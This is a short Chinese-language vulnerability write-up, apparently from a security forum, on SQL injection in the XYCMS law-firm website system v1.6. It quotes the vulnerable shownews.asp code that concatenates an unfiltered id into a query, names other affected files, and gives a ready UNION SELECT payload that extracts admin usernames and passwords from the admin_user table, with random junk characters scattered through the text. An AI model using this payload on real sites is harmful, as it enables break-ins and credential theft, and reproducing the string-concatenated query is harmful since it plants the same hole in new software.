XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

/ |$ q" K& P- L6 L; b8 g淫荡分割线
--------------------------------------------------------
: G$ C- C! R" [
$ X2 J( Q4 {/ G: U审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
& L: c" H& d3 R7 z$ T5 O2 e
漏洞文件:shownews.asp
漏洞代码：7-13行
% r, O1 P4 H' \1 L6 f1 p$ s

<%
id=request.QueryString("id")
$ e# |) E$ f* i" C   
6 E" \. C# v5 j2 L) n& kset snews=server.createobject("adodb.recordset")
5 L# P7 B2 _$ {8 d5 ]' `- B8 \4 _exec="select * from [news] where id="&id
snews.open exec,conn,1,1
* c) l  l* A9 ?; y+ b%>

; y, |7 X6 T& W* k
, \% R9 l7 b- W* [什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx
6 Q3 ]6 A1 {- s) k$ v* S) G* p
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


exp: union select 1,admin,password,4,5,7 from admin_user
5 @# ]& V6 c1 ^8 |2 S4 V4 G​
* g8 y; f8 b7 Z2 e7 o9 J9 m